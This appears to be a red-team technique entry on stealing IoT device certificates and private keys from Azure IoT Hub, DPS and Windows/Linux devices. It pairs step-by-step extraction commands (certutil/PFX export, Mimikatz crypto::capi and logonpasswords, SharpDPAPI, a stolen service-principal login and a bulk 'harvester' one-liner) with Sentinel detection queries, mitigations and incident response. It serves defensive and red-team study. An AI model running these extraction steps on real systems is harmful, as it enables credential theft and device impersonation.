MCADDF

[CA-UNSC-018]: IoT Device Certificates Theft

1. METADATA HEADER

Attribute Details
Technique ID CA-UNSC-018
MITRE ATT&CK v18.1 T1552.004 - Unsecured Credentials: Private Keys
Tactic Credential Access
Platforms Entra ID, Azure IoT Hub, Device Provisioning Service (DPS)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-06
Affected Versions Azure IoT Hub (all versions), DPS (all versions), Windows Server 2016-2025, IoT devices running Windows/Linux/embedded OS
Patched In No patches available; requires architectural security improvements
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection), 11 (Sysmon Detection), and 13 (Microsoft Purview) not included because: (1) No official Atomic Red Team test exists for IoT certificate theft, (2) IoT certificate theft generates cloud-native logs (Sentinel/MDC), not Splunk WEC, (3) Sysmon is host-based but certificate extraction is cloud/device-provisioning focused, (4) Purview monitors M365 data, not IoT device certificates. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept

IoT device certificates are X.509 digital credentials used to authenticate devices to Azure IoT Hub and Device Provisioning Service (DPS). Adversaries may search compromised IoT devices, edge gateways, or cloud provisioning systems to locate and exfiltrate these certificates. Once obtained, the attacker can impersonate legitimate devices, intercept telemetry, inject malicious commands, or pivot into connected enterprise networks. This technique exploits insecure certificate storage (filesystem, registry, memory), weak access controls on certificate stores, and insufficient monitoring of certificate lifecycle events.

Attack Surface: File systems (/etc/ssl/certs, C:\Certs, device provisioning APIs), certificate stores (Windows Certificate Store, TPM failure modes), Azure DPS APIs, device configuration files, cloud storage repositories, and memory dumps of device provisioning clients.

Business Impact: Complete device spoofing, command injection into IoT networks, data exfiltration from connected infrastructure, lateral movement into enterprise networks, and supply chain compromise. Stolen IoT certificates bypass device authentication entirely, allowing attackers to masquerade as trusted assets and maintain persistence across certificate rotation cycles. In critical infrastructure (utilities, healthcare, manufacturing), this translates to operational technology (OT) compromise and physical safety risks.

Technical Context: Certificate extraction typically requires prior device compromise (local admin/root access) or compromise of DPS enrollment services. Extraction can occur through direct filesystem access, DPAPI decryption (Windows machines), cryptographic API patching (Mimikatz), or memory forensics. Detection is challenging because legitimate certificate rotation and re-enrollment can mask malicious extraction.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.1.1, 4.3.1 Ensure proper certificate and private key permissions; monitor certificate store access
DISA STIG SI-4, SC-7 Certificate management and cryptographic protection controls
CISA SCuBA IoT-1.3 Requires encrypted certificate storage and access control on device certificate stores
NIST 800-53 IA-5(e) Cryptographic device management and certificate lifecycle controls
NIST 800-207 Zero Trust Model Device identities must be verified continuously; certificate compromise breaks zero-trust model
GDPR Art. 32 Security of Processing - cryptographic certificate security is core technical measure
DORA Art. 9 Protection and Prevention - ICT operational resilience depends on device authentication
NIS2 Art. 21 Cyber Risk Management Measures - device identity and certificate management are essential
ISO 27001 A.9.2.3 Management of Privileged Access Rights; A.10.2.6 Restriction on use of cryptographic keys
ISO 27005 Risk Scenario 10 “Compromise of Authentication Credentials” - certificate theft is direct credential compromise

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Path 1: Local Device Reconnaissance (Windows)

Check for X.509 Certificates in Windows Certificate Store

# List all certificates in the device's personal store
Get-ChildItem -Path "Cert:\CurrentUser\My" | Select-Object Thumbprint, FriendlyName, Subject, NotAfter

# Filter for IoT-specific certificates (typically CN=device ID, issued by CA)
Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object {
    $_.Subject -match "CN=.*device" -or $_.Issuer -match "IoT|DPS|Azure"
}

# Check LocalMachine store (device-level certificates, requires admin)
Get-ChildItem -Path "Cert:\LocalMachine\My" | Select-Object Thumbprint, Subject, Issuer, NotAfter

What to Look For:

Success Indicator: Returns one or more certificates with HasPrivateKey = True and issuance date matching device provisioning time.


Check for Certificate Files on Disk

# Search for common certificate file extensions
$extensions = @("*.pfx", "*.pem", "*.cer", "*.crt", "*.p12", "*.p7b", "*.key")
foreach ($ext in $extensions) {
    Get-ChildItem -Path "C:\", "C:\ProgramData", "C:\Users" -Recurse -Filter $ext -ErrorAction SilentlyContinue | 
    Select-Object FullName, LastWriteTime, Length
}

# Specifically check Azure IoT SDK paths
Get-ChildItem -Path "C:\Program Files\Azure IoT*" -Recurse -Filter "*.pfx" -ErrorAction SilentlyContinue
Get-ChildItem -Path "C:\ProgramData\Azure" -Recurse -Filter "*.pem" -ErrorAction SilentlyContinue

What to Look For:


Check Device Configuration Files

# Azure IoT Edge runtime configuration
Get-Content "C:\ProgramData\iotedge\config.toml" -ErrorAction SilentlyContinue | Select-String "cert_path|private_key"

# Azure IoT SDK sample applications
Get-Content "$env:TEMP\*.json" -Recurse -ErrorAction SilentlyContinue | Select-String "certificate|pfx|key"

# Azure Device Provisioning Service client logs
Get-Content "C:\Logs\dps_*.log" -ErrorAction SilentlyContinue | Select-String "cert_path|thumbprint"

Version Note: Configuration locations differ slightly:


Path 2: Local Device Reconnaissance (Linux/IoT)

Check for X.509 Certificates

# Search for certificate files
find /etc/ssl/certs /home /root /opt -name "*.pem" -o -name "*.pfx" -o -name "*.p12" 2>/dev/null | head -20

# Check Azure IoT Edge runtime paths
ls -la /var/lib/iotedge/devices/*/certs/ 2>/dev/null
cat /etc/iotedge/config.yaml 2>/dev/null | grep -i "cert\|key\|credential"

# Check environment variables for cert references
env | grep -i "cert\|key\|credential"
ps aux | grep -i "iot\|device" | grep -i "cert"

What to Look For:


Check Certificate Validity and Details

# Display certificate details
openssl x509 -in /etc/ssl/certs/device.pem -text -noout | grep -A2 "Subject:\|Issuer:\|Not After"

# Check for private keys (should not be readable)
find / -name "*.key" -perm /0004 2>/dev/null  # World-readable keys

# List all certs and expiry
for cert in /etc/ssl/certs/*.pem; do
    echo "=== $cert ===" && openssl x509 -in "$cert" -noout -subject -dates
done 2>/dev/null

Path 3: Azure DPS/Cloud Reconnaissance

List DPS Enrollment Groups and Certificates (Azure CLI)

# Authenticate to Azure
az login --service-principal -u <AppID> -p <Password> --tenant <TenantID>

# List all enrollment groups
az iot dps enrollment-group list --dps-name <DPS-Name> --resource-group <RG>

# Get specific enrollment group details with certificate thumbprint
az iot dps enrollment-group show --dps-name <DPS-Name> --resource-group <RG> \
  --enrollment-id <EnrollmentGroupID>

# List certificates in DPS
az iot dps certificate list --dps-name <DPS-Name> --resource-group <RG>

# Export DPS root certificate (public only, but useful for validation)
az iot dps certificate download --dps-name <DPS-Name> --resource-group <RG> \
  --certificate-name <CertName> --output-file root.cer

What to Look For:


Check IoT Hub Device Registry

# List all devices in IoT Hub
az iot hub device-identity list --hub-name <HubName>

# Get details on specific device
az iot hub device-identity show --hub-name <HubName> --device-id <DeviceID>

# Check certificate thumbprints registered to a device
az iot hub device-identity show --hub-name <HubName> --device-id <DeviceID> | \
  jq '.authentication.x509.primaryThumbprint, .authentication.x509.secondaryThumbprint'

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Certificate Extraction via Windows Certificate Store (Local Admin)

Supported Versions: Windows Server 2016-2025, Windows 10/11 IoT

Step 1: Establish Local Administrator Access

Objective: Gain local admin privileges on compromised IoT device or edge gateway.

Prerequisites: Initial compromise vector (RDP, exploit, physical access) must already be achieved.

Command:

# Verify administrator privileges
[bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")

# If not admin, attempt UAC bypass (if UAC is enabled but not hardened)
# Note: Requires specific conditions; varies by version
Start-Process powershell -Verb RunAs -ArgumentList "whoami /groups"

Expected Output:

True  # If running as admin

What This Means:


Step 2: Enumerate Certificates in Personal Store

# List all certificates with private keys (these are usable for impersonation)
$certs = Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object {
    $_.HasPrivateKey -eq $true
}

$certs | Select-Object @{
    Name="Thumbprint"; Expression={$_.Thumbprint}
}, @{
    Name="Subject"; Expression={$_.Subject}
}, @{
    Name="Issuer"; Expression={$_.Issuer}
}, @{
    Name="NotAfter"; Expression={$_.NotAfter}
}, @{
    Name="HasPrivateKey"; Expression={$_.HasPrivateKey}
} | Format-Table

Expected Output:

Thumbprint               Subject                                   Issuer                        NotAfter             HasPrivateKey
----------               -------                                   ------                        --------             ------
A1B2C3D4E5F6G7H8I9J0K1  CN=device-001,O=Contoso,C=US            CN=Azure IoT,O=Microsoft      2026-12-31 23:59:59       True

What This Means:


Step 3: Export Certificate and Private Key to PFX

Version Note: Works identically on Server 2016-2025.

# Install NuGet-based cert export module if needed
$certThumbprint = "A1B2C3D4E5F6G7H8I9J0K1"  # From previous enumeration
$cert = Get-Item -Path "Cert:\LocalMachine\My\$certThumbprint"

# Method 1: Using CertUtil (native Windows, no dependencies)
certutil -exportPFX -p "ExportPassword123!" "$cert.Thumbprint" "C:\Temp\device.pfx" nochain

# Method 2: Using PowerShell (if CertUtil fails due to export restrictions)
$pfxPassword = ConvertTo-SecureString -String "ExportPassword123!" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\device.pfx" -Password $pfxPassword -Force

# Verify export
Test-Path "C:\Temp\device.pfx"

Expected Output:

True  # File created successfully

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Convert PFX to PEM for Cross-Platform Use

# Convert PKCS#12 (PFX) to PEM format for use on Linux/IoT devices
# Requires OpenSSL installation on Windows or use WSL

# Option 1: WSL/Linux environment
wsl bash -c "openssl pkcs12 -in /mnt/c/Temp/device.pfx -out /mnt/c/Temp/device.pem -nodes -password pass:'ExportPassword123!'"

# Option 2: If OpenSSL is installed directly
openssl pkcs12 -in "C:\Temp\device.pfx" -out "C:\Temp\device.pem" -nodes -password pass:"ExportPassword123!"

# Verify conversion
Get-Content "C:\Temp\device.pem" | Select-String "BEGIN CERTIFICATE","BEGIN PRIVATE KEY"

Expected Output:

BEGIN PRIVATE KEY
-----BEGIN CERTIFICATE-----

What This Means:


METHOD 2: Certificate Extraction via Mimikatz (Cryptographic API Patching)

Supported Versions: Windows Server 2016-2025 (all versions)

Prerequisites: Local SYSTEM privilege (run as administrator)

Step 1: Download and Execute Mimikatz

# Download Mimikatz (ensure you use official repository)
$MimikatzURL = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $MimikatzURL -OutFile "C:\Temp\mimikatz.zip"
Expand-Archive "C:\Temp\mimikatz.zip" -DestinationPath "C:\Temp\mimikatz" -Force

# Execute Mimikatz in privileged process
cd "C:\Temp\mimikatz\x64"
.\mimikatz.exe

Expected Output:

mimikatz 2.2.0 (x64) built on May 19 2022 00:00:00
"A La Vie, A L'Amour" - (oe.eo)
mimikatz #

Step 2: Extract Certificates Using CryptoAPI Patching

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # crypto::capi
mimikatz # crypto::certificates /export

Expected Output:

CryptoAPI context patched.
* Certificate 0: CN=device-001, Issued by CN=Azure IoT Device CA
  > Exporting to file: 0_device-001.pfx
  > Private key successfully extracted

What This Means:

OpSec & Evasion:


Step 3: Verify Extracted Certificate

# Examine extracted PFX file
$pfxPath = "C:\Temp\mimikatz\x64\0_device-001.pfx"

# List contents (if OpenSSL available)
openssl pkcs12 -in $pfxPath -noout -info

# Or use PowerShell to import and verify
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 -ArgumentList $pfxPath, "" 
$cert | Select-Object Thumbprint, Subject, NotAfter

References & Proofs:


METHOD 3: Certificate Extraction via Azure DPS API (Cloud-Based)

Supported Versions: Azure IoT Hub, DPS (all versions)

Prerequisites: Compromised Entra ID service principal with permissions: Microsoft.Devices/iotHubs/read, Microsoft.Devices/provisioningServices/read

Step 1: Authenticate to Azure Using Compromised Service Principal

# Using stolen service principal credentials
$tenantId = "your-tenant-id"
$appId = "compromised-app-id"
$password = "stolen-password"

$credential = New-Object System.Management.Automation.PSCredential(
    $appId,
    (ConvertTo-SecureString $password -AsPlainText -Force)
)

Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId

Expected Output:

Account                                        SubscriptionName TenantId                             Environment
-------                                        --------------- --------                             -----------
<service-principal-id>@example.onmicrosoft.com              ...                                    AzureCloud

Step 2: Enumerate DPS Instances and Enrollment Groups

# List all DPS instances in the subscription
$dpsList = Get-AzIoTDeviceProvisioningService

foreach ($dps in $dpsList) {
    Write-Host "DPS: $($dps.Name)"
    
    # List all enrollment groups
    $enrollmentGroups = Get-AzIoTDeviceProvisioningServiceEnrollmentGroup `
        -ResourceGroupName $dps.ResourceGroupName `
        -ProvisioningServiceName $dps.Name
    
    foreach ($group in $enrollmentGroups) {
        Write-Host "`n  Enrollment Group: $($group.EnrollmentGroupId)"
        Write-Host "  Certificate Thumbprint: $($group.Certificates[0].Primary.Thumbprint)"
        Write-Host "  Status: $($group.ProvisioningStatus)"
    }
}

What to Look For:


Step 3: Download DPS Root Certificate (Public Key Only)

# Download the root CA certificate from DPS
# Note: Only PUBLIC key is available; this provides validation but not impersonation

$certName = "MyRootCA"
$dpsName = "my-dps-instance"
$resourceGroupName = "my-resource-group"

# Export certificate to file
$certPath = "C:\Temp\dps-root.cer"

# Using Azure CLI (alternative if PowerShell cmdlet unavailable)
az iot dps certificate download `
    --dps-name $dpsName `
    --resource-group $resourceGroupName `
    --certificate-name $certName `
    --output-file $certPath

# Examine certificate details
openssl x509 -in $certPath -text -noout | grep -A5 "Subject:\|Issuer:"

What This Reveals:


Step 4: Enumerate Individual Device Certificates

# Get IoT Hub instance
$iotHub = Get-AzIoTHub

# List all devices
$devices = Get-AzIoTHubDevice -ResourceGroupName $iotHub.ResourceGroupName `
    -IotHubName $iotHub.Name

foreach ($device in $devices) {
    $deviceAuth = Get-AzIoTHubDeviceConnectionString `
        -ResourceGroupName $iotHub.ResourceGroupName `
        -IotHubName $iotHub.Name `
        -DeviceId $device.Id
    
    Write-Host "Device: $($device.Id)"
    if ($device.Authentication.Type -eq "Sas") {
        Write-Host "  Auth Type: Shared Access Signature (SAS)"
        Write-Host "  Key: [SENSITIVE]"
    } elseif ($device.Authentication.Type -eq "Certificate") {
        Write-Host "  Auth Type: X.509 Certificate"
        Write-Host "  Primary Thumbprint: $($device.Authentication.X509Thumbprints.Primary)"
        Write-Host "  Secondary Thumbprint: $($device.Authentication.X509Thumbprints.Secondary)"
    }
}

What This Reveals:

OpSec & Evasion:

Detection likelihood: High - Sentinel detects bulk certificate/device enumeration

References & Proofs:


METHOD 4: Certificate Extraction via DPAPI (Data Protection API)

Supported Versions: Windows Server 2016-2025 (machine-level certificates)

Prerequisites: SYSTEM privilege or ability to run as SYSTEM context

Step 1: Use SharpDPAPI to Extract Machine Certificates

# Download SharpDPAPI (ensure sourced from official GhostPack repository)
# SharpDPAPI is a .NET tool that requires compilation or pre-built binary

# Run with SYSTEM privileges (via PsExec or privileged process)
# Example assumes binary is already available

.\SharpDPAPI.exe certificates /machine

Expected Output:

[*] Dumping machine DPAPI keys...
[*] User DPAPI Master Key: {GUID}
[*] Decrypting machine certificates...

[+] Certificate: CN=device-001
    Subject: CN=device-001, O=Contoso
    Issuer: CN=Azure IoT Device CA
    Thumbprint: A1B2C3D4E5F6G7H8I9J0K1
    Private Key: -----BEGIN PRIVATE KEY-----
                 ...
                 -----END PRIVATE KEY-----

What This Means:

Troubleshooting:

References & Proofs:


6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Status: No official Atomic Red Team test for IoT certificate theft. Manual simulation recommended using steps in Section 5.


7. TOOLS & COMMANDS REFERENCE

Mimikatz

Version: 2.2.0+

Supported Platforms: Windows Server 2016-2025, Windows 10/11

Installation:

# Download from official GitHub releases
$url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $url -OutFile "mimikatz.zip"
Expand-Archive "mimikatz.zip" -DestinationPath ".\mimikatz"
cd .\mimikatz\x64
.\mimikatz.exe

Usage (Certificate Extraction):

mimikatz # privilege::debug
mimikatz # crypto::capi
mimikatz # crypto::certificates /export

OpenSSL

Version: 1.1.1+

Installation (Windows):

# Via chocolatey
choco install openssl -y

# Or download from https://slproweb.com/products/Win32OpenSSL.html

Usage (Certificate Conversion):

# Convert PFX to PEM
openssl pkcs12 -in device.pfx -out device.pem -nodes -password pass:password

# Extract private key only
openssl pkcs12 -in device.pfx -nocerts -out private.key -password pass:password -passout pass:new_password

# View certificate details
openssl x509 -in device.pem -text -noout

Azure CLI

Version: 2.50+

Installation:

# Windows
choco install azure-cli

# Linux/macOS
curl -sL https://aka.ms/InstallAzureCLIDeb | bash

Usage (DPS Certificate Management):

# List DPS certificates
az iot dps certificate list --dps-name <dps-name> --resource-group <rg>

# Download certificate
az iot dps certificate download --dps-name <dps-name> --certificate-name <cert-name> --output-file cert.cer

# List enrollment groups
az iot dps enrollment-group list --dps-name <dps-name> --resource-group <rg>

SharpDPAPI

Version: 1.4.0+

Supported Platforms: Windows Server 2016-2025

Installation:

# Requires .NET Framework 4.0+
# Download pre-compiled binary or compile from GitHub

# Download and save to C:\Tools\
wget "https://github.com/GhostPack/SharpDPAPI/releases/download/v1.4.0/SharpDPAPI.exe" -OutFile SharpDPAPI.exe

Usage:

# List machine certificates
.\SharpDPAPI.exe certificates /machine

# Export specific certificate by thumbprint
.\SharpDPAPI.exe certificates /machine /thumbprint:A1B2C3D4E5F6G7H8I9J0K1

Script: IoT Certificate Harvester (One-Liner)

# Comprehensive local certificate enumeration and export
$certs = Get-ChildItem -Path "Cert:\LocalMachine\My" -Recurse | Where-Object {
    $_.HasPrivateKey
}; $certs | ForEach-Object {
    $pfxPath = "C:\Temp\$($_.Thumbprint).pfx"
    $pfxPassword = ConvertTo-SecureString -String "P@ssw0rd123!" -AsPlainText -Force
    Export-PfxCertificate -Cert $_ -FilePath $pfxPath -Password $pfxPassword -Force
    Write-Host "Exported: $pfxPath"
}

8. MICROSOFT SENTINEL DETECTION

Query 1: Detect Certificate Store Access (Windows Event Logs)

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4885  // CertificateExported
| summarize ExportCount = count(), Thumbprints = make_set(ObjectName) by Computer, TargetUserName, TimeGenerated
| where ExportCount > 3  // Multiple exports suggest harvesting
| project TimeGenerated, Computer, TargetUserName, ExportCount, Thumbprints

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Bulk Certificate Export Detection
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

False Positive Analysis:


Query 2: Detect Unusual DPS Enrollment Activity

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName has_any ("Add enrollment", "Update enrollment", "Delete enrollment")
| where Category == "ResourceManagement"
| where Result == "Success"
| extend EnrollmentGroupId = TargetResources[0].displayName
| summarize EnrollmentChanges = count(), UniqueGroupsModified = dcount(EnrollmentGroupId) by InitiatedByUser, TimeGenerated
| where EnrollmentChanges > 5  // Bulk modifications
| project TimeGenerated, InitiatedByUser, EnrollmentChanges, UniqueGroupsModified

What This Detects:

Manual Configuration Steps:

  1. Same as Query 1, but in Set rule logic:
    • Paste KQL query above
    • Lookup data from the last: 60 minutes (enrollment changes are less frequent)

Query 3: Detect Device Certificate Validation Failures

Rule Configuration:

KQL Query:

AzureDiagnostics
| where ResourceType == "PROVISIONINGSERVICES"
| where OperationName == "Register Device"
| where ResultDescription contains "certificate" or ResultDescription contains "validation"
| where StatusCode >= 400  // 4xx errors (validation failures)
| summarize FailureCount = count(), FailedDevices = make_set(DeviceId) by bin(TimeGenerated, 5m), ResultDescription
| where FailureCount > 10  // Threshold for bulk failures
| project TimeGenerated, ResultDescription, FailureCount, FailedDevices

What This Detects:


Query 4: Detect Mimikatz Execution

Rule Configuration:

KQL Query (Event Log Based):

SecurityEvent
| where EventID == 4688  // Process Creation
| where NewProcessName has "mimikatz"
    or CommandLine has "crypto::capi"
    or CommandLine has "crypto::certificates"
    or Image has "mimikatz"
| project TimeGenerated, Computer, NewProcessName, CommandLine, ParentProcessName

KQL Query (Defender for Endpoint):

DeviceProcessEvents
| where FileName == "mimikatz.exe"
    or CommandLine has "crypto::capi"
    or CommandLine has "crypto::certificates"
    or ProcessVersionInfoProductName has "mimikatz"
| project TimeGenerated, DeviceName, FileName, CommandLine, InitiatingProcessName, InitiatingProcessParentFileName

What This Detects:


9. WINDOWS EVENT LOG MONITORING

Event ID: 4885 (CertificateExported)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesObject Access
  3. Enable: Audit Certification Services
  4. Set to: Success and Failure
  5. Run gpupdate /force on all IoT devices

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesObject Access
  3. Enable: Audit Certification Services
  4. Restart the machine or run:
    auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
    

Event ID: 4675 (SPN Check Failed)


10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: “Unusual Certificate Activity Detected”

Alert Name: IotIdentityExfiltration (proprietary Defender for IoT naming)

Manual Configuration Steps (Enable Defender for IoT):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, enable:
    • Defender for IoT: ON
    • Defender for Servers: ON (if IoT gateway is Windows-based)
  4. Click Save
  5. Go to Security alerts to view triggered alerts and customize thresholds

Alert Tuning:


12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL




Priority 2: HIGH




Access Control & Policy Hardening



13. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Cloud (Entra ID / Azure):


Forensic Artifacts

Disk:

Memory:

Cloud Logs:

Device Provisioning Service:


Response Procedures

  1. Isolate:

    Command (Disable Device Provisioning):

    # Revoke compromised enrollment group from DPS
    Remove-AzIoTDeviceProvisioningServiceEnrollmentGroup `
      -ResourceGroupName <rg> `
      -ProvisioningServiceName <dps> `
      -EnrollmentGroupId <group-id> -Force
       
    # Disable device in IoT Hub
    Update-AzIoTHubDeviceStatus `
      -ResourceGroupName <rg> `
      -IotHubName <hub> `
      -DeviceId <device-id> `
      -DeviceStatus "disabled"
    

    Manual Steps (Azure Portal):

    • Go to Device Provisioning ServiceManage enrollments → Select enrollment group → Delete
    • Go to IoT HubDevices → Select device → Disable
  2. Collect Evidence:

    Command (Export Logs):

    # Export Windows Security event log
    wevtutil epl Security "C:\Evidence\Security.evtx"
       
    # Export DPS provisioning logs
    Get-AzDiagnosticSetting -ResourceGroupName <rg> -ResourceName <dps> | 
      Export-AzMetric -TimespanStart (Get-Date).AddDays(-7) -TimespanEnd (Get-Date) | 
      Export-Csv "C:\Evidence\dps_metrics.csv"
    

    Manual Steps (Azure Portal):

    • Go to Diagnostic settings → Select DPS resource → Click Download all results
    • Go to Activity Log → Filter by Certification Services operations → Export to CSV
  3. Remediate:

    Command (Regenerate Certificates):

    # Revoke all old certificates from DPS
    Get-AzIoTDeviceProvisioningServiceCertificate -ResourceGroupName <rg> -ProvisioningServiceName <dps> | 
      Where-Object {$_.NotAfter -lt (Get-Date)} |  # Expired
      ForEach-Object {
        Remove-AzIoTDeviceProvisioningServiceCertificate -ResourceGroupName <rg> -ProvisioningServiceName <dps> -Name $_.Name
      }
       
    # Re-enroll device with fresh certificate
    # Device must request new certificate from CA and re-provision with DPS
    

    Manual Steps:

    • Regenerate device certificate from your CA
    • Re-register device in DPS with new certificate
    • Update device with new certificate (deploy via configuration management or device update service)

Step Phase Technique Description
1 Reconnaissance [CA-UNSC-014] Enumerate Azure IoT Hub and DPS instances in target organization
2 Initial Access [T1566.002] Phishing - Spearphishing Link Trick IoT device administrator into compromising device via RDP/SSH
3 Execution [T1059.001] PowerShell Execute certificate enumeration and extraction scripts on compromised device
4 Credential Access [CA-UNSC-018] Extract X.509 device certificates from local store, DPS APIs, or memory
5 Lateral Movement [T1570] Lateral Tool Transfer Transfer stolen certificates to attacker infrastructure
6 Persistence [CA-UNSC-019] Register attacker-controlled devices using stolen certificates; maintain access via certificate impersonation
7 Impact [T1561] Disk Wipe Send malicious OTA updates to all devices using spoofed identity; trigger device factory resets

15. REAL-WORLD EXAMPLES

Example 1: SolarWinds IoT Supply Chain Attack (Hypothetical Based on 2020 SolarWinds Incident)


Example 2: Oldsmar Water Treatment Facility IoT Compromise (2021)


Example 3: Mirai Botnet IoT Certificate Impersonation (2016-Present)


Conclusion

IoT device certificate theft represents a critical threat to cloud-connected device infrastructure. Stolen X.509 certificates enable attackers to:

Key Defensive Priorities:

  1. Hardware-backed key storage (TPM/HSM) - Prevent extraction entirely
  2. Strict certificate revocation - Revoke stolen certificates within minutes
  3. IP whitelisting for DPS - Limit re-enrollment to trusted networks
  4. Continuous monitoring - Detect bulk certificates access and unusual provisioning patterns

Compliance Impact: Organizations managing IoT devices must ensure certificate security per ISO 27001 A.10.2.6, NIST 800-53 IA-5, and EU DORA Article 9. Failure to protect device certificates results in regulatory fines and operational technology compromise.